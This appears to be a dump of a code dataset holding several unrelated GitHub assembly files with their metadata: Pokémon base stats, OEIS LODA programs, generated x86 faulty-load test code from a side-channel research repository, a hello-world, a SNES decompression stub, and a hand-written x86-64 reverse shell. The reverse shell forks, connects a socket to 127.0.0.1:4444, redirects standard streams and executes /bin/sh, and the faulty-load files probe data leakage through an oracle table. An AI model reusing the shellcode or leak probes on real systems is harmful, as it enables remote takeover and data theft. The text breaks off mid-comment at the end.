hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
1c27dd269ff49f73c1777632cf741f8758bffdf6
743
asm
Assembly
data/pokemon/base_stats/flaaffy.asm
Karkino/KarkCrystal16
945dde0354016f9357e9d3798312cc6efa52ff7a
[ "blessing" ]
null
null
null
data/pokemon/base_stats/flaaffy.asm
Karkino/KarkCrystal16
945dde0354016f9357e9d3798312cc6efa52ff7a
[ "blessing" ]
null
null
null
data/pokemon/base_stats/flaaffy.asm
Karkino/KarkCrystal16
945dde0354016f9357e9d3798312cc6efa52ff7a
[ "blessing" ]
null
null
null
db 0 ; species ID placeholder db 75, 55, 60, 45, 85, 65 ; hp atk def spd sat sdf db ELECTRIC, ELECTRIC ; type db 120 ; catch rate db 117 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/flaaffy/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_MONSTER, EGG_GROUND ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ZAP_CANNON, ROCK_SMASH, SNORE, PROTECT, RAIN_DANCE, NUZZLE, IRON_HEAD, MOONBLAST, THUNDER, EARTHQUAKE, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, THUNDERPUNCH, REST, ATTRACT, SURF, STRENGTH, FLASH, WATERFALL, THUNDERBOLT ; end
33.772727
270
0.720054
699a9276a5bd3cb9477331b15c8d4811d14f667f
298
asm
Assembly
programs/oeis/040/A040483.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/040/A040483.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/040/A040483.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A040483: Continued fraction for sqrt(506). ; 22,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44,2,44 mov $1,11 lpb $0 mod $0,2 mul $1,2 lpe gcd $1,$0 mul $1,2
27.090909
189
0.604027
d6b842fe996d5d6836451b57d73cd172f43afb55
2,970
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_10_111.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_10_111.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_10_111.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x13dbf, %rsi lea addresses_UC_ht+0x2c37, %rdi nop nop nop nop sub $50307, %r14 mov $106, %rcx rep movsw sub $45452, %r13 lea addresses_A_ht+0x1d7c7, %rsi lea addresses_WC_ht+0x708f, %rdi nop nop nop nop and $18083, %rbp mov $6, %rcx rep movsq nop nop nop inc %rsi lea addresses_WT_ht+0x12e3a, %rsi lea addresses_normal_ht+0xe065, %rdi nop nop nop nop cmp %r13, %r13 mov $113, %rcx rep movsw nop sub $51618, %r13 lea addresses_UC_ht+0x1bc97, %rsi lea addresses_normal_ht+0x4297, %rdi clflush (%rsi) nop nop nop nop and $48093, %r11 mov $81, %rcx rep movsl nop nop add $37740, %r11 lea addresses_WC_ht+0x1d5d7, %rsi lea addresses_WC_ht+0x417, %rdi clflush (%rdi) nop nop nop nop mfence mov $121, %rcx rep movsw nop nop nop nop cmp $51652, %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r9 push %rax push %rcx push %rdi push %rdx // Store mov $0x7084b20000000d37, %rcx nop nop nop nop add %r12, %r12 mov $0x5152535455565758, %r9 movq %r9, %xmm0 movups %xmm0, (%rcx) // Exception!!! nop nop nop mov (0), %rax nop nop nop nop and %rcx, %rcx // Store lea addresses_WT+0x1a987, %rdx nop nop nop nop nop cmp %rdi, %rdi movw $0x5152, (%rdx) nop nop nop nop inc %rcx // Faulty Load lea addresses_A+0x1dd97, %r12 nop nop add %r10, %r10 mov (%r12), %r9w lea oracles, %r10 and $0xff, %r9 shlq $12, %r9 mov (%r10,%r9,1), %r9 pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 3, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 6, 'same': True, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'00': 10} 00 00 00 00 00 00 00 00 00 00 */
17.891566
152
0.658249
6d77b4deb66d02ce2348b4f3b3acafad401dca9d
691
asm
Assembly
oeis/003/A003230.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/003/A003230.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/003/A003230.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A003230: Expansion of 1/((1-x)*(1-2*x)*(1-x-2*x^3)). ; Submitted by Jamie Morken(s1) ; 1,4,11,28,67,152,335,724,1539,3232,6727,13900,28555,58392,118959,241604,489459,989520,1997015,4024508,8100699,16289032,32726655,65705268,131837763,264399936,530028199,1062139180,2127809963,4261608184,8533370191,17083957412,34197108371,68443717936,136971371127,274085064604,548411453947,1097232103144,2195158046239,4391492581908,8784980043747,17573342647328,35152420833351,70314566965260,140645624348747,281319210193112,562685832478959,1125452057887108,2251040431694643,4502312003495184 lpb $0 mov $1,$0 sub $0,1 seq $1,3478 ; Expansion of 1/(1-2x)(1-x-2x^3 ). add $2,$1 lpe mov $0,$2 add $0,1
53.153846
487
0.794501
3d0c93279f76b81fec514230bcb3bd3ea46b43e1
429
asm
Assembly
oeis/160/A160255.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/160/A160255.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/160/A160255.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A160255: The sum of all the entries in an n X n Cayley table for multiplication in Z_n. ; Submitted by Jamie Morken(s1.) ; 0,1,6,16,40,63,126,176,270,365,550,624,936,1099,1350,1664,2176,2349,3078,3280,3948,4631,5566,5712,7000,7813,8748,9520,11368,11475,13950,14592,16236,17969,19390,20304,23976,25327,27222,28400,32800,32949,37926,38896 mov $1,$0 add $0,1 seq $1,344485 ; a(n) = Sum_{d|n} (n-d) * phi(n/d). mul $0,$1 div $0,2
42.9
215
0.715618
40a042fbd4774ed455730d48f3875a0d9d40d9e4
634
asm
Assembly
oeis/117/A117658.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/117/A117658.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/117/A117658.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A117658: Number of solutions to x^(k+1)=x^k mod n for some k>=1. ; Submitted by Jon Maiga ; 1,2,2,3,2,4,2,5,4,4,2,6,2,4,4,9,2,8,2,6,4,4,2,10,6,4,10,6,2,8,2,17,4,4,4,12,2,4,4,10,2,8,2,6,8,4,2,18,8,12,4,6,2,20,4,10,4,4,2,12,2,4,8,33,4,8,2,6,4,8,2,20,2,4,12,6,4,8,2,18,28,4,2,12,4,4,4,10,2,16,4,6,4,4,4,34,2,16,8,18 add $0,1 mov $1,1 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mov $6,$2 cmp $6,0 add $2,$6 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe dif $0,$2 mov $5,1 lpb $0 dif $0,$2 mul $5,$2 lpe add $5,1 mul $1,$5 lpe mov $0,$1
19.212121
222
0.496845
78ae43de10976fa7765f605b48017e22517b8cfc
206
asm
Assembly
Laburi/Lab8/1-hello-world/hello-world.asm
DanBrezeanu/IOCLA
1a22cc2949afc72818289f47288e32004f633fd1
[ "MIT" ]
2
2019-11-18T15:56:21.000Z
2020-01-18T01:22:37.000Z
Laburi/Lab8/1-hello-world/hello-world.asm
zatbogdan99/IOCLA
3d499ad18624f571e6c49ff891649a05ac9908e4
[ "MIT" ]
null
null
null
Laburi/Lab8/1-hello-world/hello-world.asm
zatbogdan99/IOCLA
3d499ad18624f571e6c49ff891649a05ac9908e4
[ "MIT" ]
null
null
null
%include "io.inc" extern puts section .data msg db 'Hello, world!', 10, 0 section .text global CMAIN CMAIN: push ebp mov ebp, esp push msg call puts add esp, 4 leave ret
10.842105
33
0.601942
9b5f4ed3f9bfcd8c9bb4b1fcc7a0bc9e966dd851
1,539
asm
Assembly
testAsmFiles/reverseShell.asm
0xGREG/Assembler
acff596e6f6f662e80f91a5027b3a2bf7d9bd66a
[ "Apache-2.0" ]
null
null
null
testAsmFiles/reverseShell.asm
0xGREG/Assembler
acff596e6f6f662e80f91a5027b3a2bf7d9bd66a
[ "Apache-2.0" ]
null
null
null
testAsmFiles/reverseShell.asm
0xGREG/Assembler
acff596e6f6f662e80f91a5027b3a2bf7d9bd66a
[ "Apache-2.0" ]
null
null
null
# hand-written simple reverse shell with forking # uses only .start label and DB,DW,DD and DQ pseudo instructions ## data DQ 0x0068732f6e69622f # /bin/cat DQ 0x0000000000000078 # 1st argument - name of the file executed DQ 0x0000000000000000 DQ 0x0100007F5c110002 # 0002 - AF_INET, 5C 11 - 4444, 7F 00 00 01 - 127.0.0.1 #0x98 # fork .start DW 0x396A DB 0x58 DW 0x050F DB 0x48 DW 0xC085 # test rax, rax (check if rax is 0) (with operand size 64-bit) # jump if pid of fork is 0 (it is a forked process) DW 0x0874 # exit if original process DB 0x48 DW 0xFF31 DW 0x3C6A DB 0x58 DW 0x050F # close file descriptor 0 (stdin) DW 0x036A DB 0x58 DW 0x006A DB 0x5F DW 0x050F # close stdout DW 0x036A DB 0x58 DW 0x016A DB 0x5F DW 0x050F # close stderr DW 0x036A DB 0x58 DW 0x026A DB 0x5F DW 0x050F # create socket DW 0x296A DB 0x58 DW 0x026A DB 0x5F DD 0x00000168 DB 0x00 DB 0x5E DD 0x00000668 DB 0x00 DB 0x5A DW 0x050F # connect DW 0x2A6A DB 0x58 DW 0x006A # AF_INET DB 0x5F DD 0x00009068 DB 0x00 # address of the structure DB 0x5E DD 0x00001068 DB 0x00 # length of the structure - 16 DB 0x5A DW 0x050F # dup # 00 -> 01 DW 0x206A DB 0x58 DW 0x006A DB 0x5F DW 0x050F # 00 -> 02 DW 0x206A DB 0x58 DW 0x050F ## syscall execve DW 0x3B6A # PUSH 0x3B DB 0x58 # POP rax DW 0x786A DB 0x5F # POP rdi DD 0x00008068 DB 0x00 DB 0x5E # POP rsi DD 0x00000068 DB 0x00 DB 0x5A # POP rdx DW 0x050F ## syscall exit DW 0x3148 DB 0xFF # xor rdi, rdi DW 0x3C6A DB 0x58 # POP rax DW 0x050F # call interrupt DW 0xFEEB # jump to itself, infinite loop
13.741071
78
0.737492
b4973c32e0cea4e75125b7bfdc4709a50ed902a3
662
asm
Assembly
programs/oeis/067/A067705.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/067/A067705.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/067/A067705.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A067705: a(n) = 11*n^2 + 22*n. ; 33,88,165,264,385,528,693,880,1089,1320,1573,1848,2145,2464,2805,3168,3553,3960,4389,4840,5313,5808,6325,6864,7425,8008,8613,9240,9889,10560,11253,11968,12705,13464,14245,15048,15873,16720,17589,18480,19393,20328,21285,22264,23265,24288,25333,26400,27489,28600,29733,30888,32065,33264,34485,35728,36993,38280,39589,40920,42273,43648,45045,46464,47905,49368,50853,52360,53889,55440,57013,58608,60225,61864,63525,65208,66913,68640,70389,72160,73953,75768,77605,79464,81345,83248,85173,87120,89089,91080,93093,95128,97185,99264,101365,103488,105633,107800,109989,112200 mov $1,4 add $1,$0 mul $1,$0 mul $1,11 add $1,33 mov $0,$1
66.2
568
0.777946
4496682cf7fa3a6265673b2a05c328c5d33aa27a
7,383
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_592.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_592.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_592.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rax push %rbp push %rbx push %rsi lea addresses_D_ht+0x3b20, %rsi nop nop and %rbp, %rbp mov (%rsi), %r8 nop nop nop xor %r11, %r11 lea addresses_normal_ht+0x195c0, %r11 nop nop nop nop nop add %rax, %rax vmovups (%r11), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %rbx nop nop nop xor %r8, %r8 lea addresses_UC_ht+0x39c0, %r8 clflush (%r8) nop nop nop nop cmp $54189, %rax movb $0x61, (%r8) nop nop nop nop nop cmp %rbp, %rbp lea addresses_UC_ht+0x76c0, %rsi nop nop nop nop cmp $3956, %r12 mov (%rsi), %rbx xor %rsi, %rsi pop %rsi pop %rbx pop %rbp pop %rax pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rbp push %rdi push %rsi // Store lea addresses_WT+0xcbc0, %r14 nop add %r13, %r13 mov $0x5152535455565758, %rsi movq %rsi, (%r14) nop add $7660, %r15 // Load lea addresses_UC+0xc7c0, %rdi and $57451, %rbp mov (%rdi), %esi nop nop nop nop and %r14, %r14 // Load lea addresses_RW+0x13a45, %rdi nop add $51805, %r8 movups (%rdi), %xmm1 vpextrq $0, %xmm1, %rsi nop nop xor %r13, %r13 // Load lea addresses_normal+0x5000, %rsi nop and %rbp, %rbp mov (%rsi), %r15d sub $45500, %rbp // Store lea addresses_D+0x157c0, %r13 nop sub $25054, %rbp mov $0x5152535455565758, %r15 movq %r15, (%r13) nop cmp %rdi, %rdi // Store mov $0x1493910000000900, %r13 nop nop nop and %rsi, %rsi movl $0x51525354, (%r13) nop nop nop nop nop add $46164, %rsi // Store lea addresses_UC+0x9fc0, %rdi cmp $16793, %r15 mov $0x5152535455565758, %rbp movq %rbp, (%rdi) nop nop dec %r14 // Store mov $0x7f4, %rbp nop nop nop nop nop add $28258, %rdi mov $0x5152535455565758, %r8 movq %r8, %xmm3 movups %xmm3, (%rbp) nop nop sub $24429, %rbp // Store lea addresses_PSE+0xe5e0, %rsi xor $31628, %r13 movl $0x51525354, (%rsi) nop nop xor %r8, %r8 // Store lea addresses_D+0x10228, %r15 nop nop nop cmp %r14, %r14 mov $0x5152535455565758, %r13 movq %r13, %xmm6 movups %xmm6, (%r15) nop xor %r8, %r8 // Faulty Load mov $0x1ed05000000001c0, %rsi nop nop cmp %r14, %r14 vmovaps (%rsi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %rbp lea oracles, %r15 and $0xff, %rbp shlq $12, %rbp mov (%r15,%rbp,1), %rbp pop %rsi pop %rdi pop %rbp pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'00': 1, '44': 21828} 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 */
33.256757
2,999
0.647569
4f3446709d33bd2cda226cf6e15a88a9fa65874c
111
asm
Assembly
tests/optimizer/E013.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
tests/optimizer/E013.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
tests/optimizer/E013.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; in mov $2,$0 lpb $2,1 add $2,$0 mov $1,$2 log $1,5 ; out mov $1,$0 lpb $1,1 add $1,$0 mov $2,$1 log $1,5
8.538462
11
0.495495
e3b63fc32d23cfc19a11728646dc21139cf1583e
186
asm
Assembly
data/pokemon/dex_entries/honchkrow.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/dex_entries/honchkrow.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/dex_entries/honchkrow.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db "BIG BOSS@" ; species name db "It is merciless by" next "nature. It is said" next "that it will never" page "forgive the" next "mistakes of its" next "MURKROW followers.@"
18.6
30
0.672043
d2b96a957dfa539f9fc34b5d71d53b17832ae599
4,431
asm
Assembly
SNES_MODE7/unrle.asm
laetemn/M8TE
f46063a835af9c3326d6cde7fb9bd084190dcc32
[ "MIT" ]
23
2020-01-17T14:52:22.000Z
2021-10-11T11:25:33.000Z
SNES_MODE7/unrle.asm
laetemn/M8TE
f46063a835af9c3326d6cde7fb9bd084190dcc32
[ "MIT" ]
1
2021-07-18T04:58:04.000Z
2021-07-18T14:22:56.000Z
SNES_MODE7/unrle.asm
laetemn/M8TE
f46063a835af9c3326d6cde7fb9bd084190dcc32
[ "MIT" ]
1
2021-01-20T11:08:12.000Z
2021-01-20T11:08:12.000Z
;unrle code to unpack the rle file from M1TE UNPACK_ADR = $7f0000 ;.segment "ZEROPAGE" ;temp1: .res 2 ;temp2: .res 2 ;temp3: .res 2 ;temp4: .res 2 ;temp5: .res 2 ;temp6: .res 2 .segment "CODE" ;---------------- ; UNRLE ;---------------- ; used with R8C.py RLE or any output ; RLE file from M1TE or SPEZ ; this assumes screen is OFF ; First set VRAM address and inc mode ; a = address of the compressed data ; x = bank of the compressed data ; jsl Unrle ; will automatically decompress to ; 7f0000 and then copy to the VRAM ; UNPACK_ADR = $7f0000 see above ; returns y = size of unpacked data ; and ax = address of UNPACK_ADR ; then call vram_dma to send data to vram ; one byte header ---- ; MM CCCCCC ; M - mode, C - count (+1) ; 0 - literal, C+1 values (1-64) ; 1 - rle run, C+1 times (1-64) ; 2 